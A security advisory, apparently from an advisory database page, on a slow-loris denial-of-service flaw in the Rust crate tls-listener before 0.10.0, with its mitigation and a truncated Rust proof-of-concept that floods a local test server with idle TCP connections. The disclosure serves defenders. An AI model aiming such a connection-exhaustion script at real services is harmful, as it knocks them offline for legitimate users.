tls-listener is a rust lang wrapper around a connection listener to support TLS. With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack. This impacts any publicly accessible service using the default configuration of tls-listener in versions prior to 0.10.0. Users are advised to upgrade. Users unable to upgrade may mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.

Affected: crates.io: tls-listener

### Summary With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS.

### Details The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack.

```rust /// Default number of concurrent handshakes pub const DEFAULT_MAX_HANDSHAKES: usize = 64; /// Default timeout for the TLS handshake. pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10); ```

### PoC

Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.

```rust use std::{net::ToSocketAddrs, time::Duration}; use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};

#[tokio::main] async fn main() { const N: usize = 1024; const T: Duration = Duration::from_secs(10);

let url = "127.0.0.1:3000"; let sockets: Vec<_> = url .to_socket_addrs() .unwrap() .inspect(|s| println!("{s:?}")) .collect();

let mut js = JoinSet::new();

let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32)); int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst); for _ in 0..10000 { for &socket in &sockets { int.tick().await; js.spawn(async move { let mut stream = TcpStream::connect…

cargo-audit-advisory-db-20240528-1.1 on GA media

Affected: crates.io: tls-listener

tls-listener is a rust lang wrapper around a connection listener to support TLS. With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack. This impacts any publicly accessible service using the default configuration of tls-listener in versions prior to 0.10.0. Users are advised to upgrade. Users unable to upgrade may mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.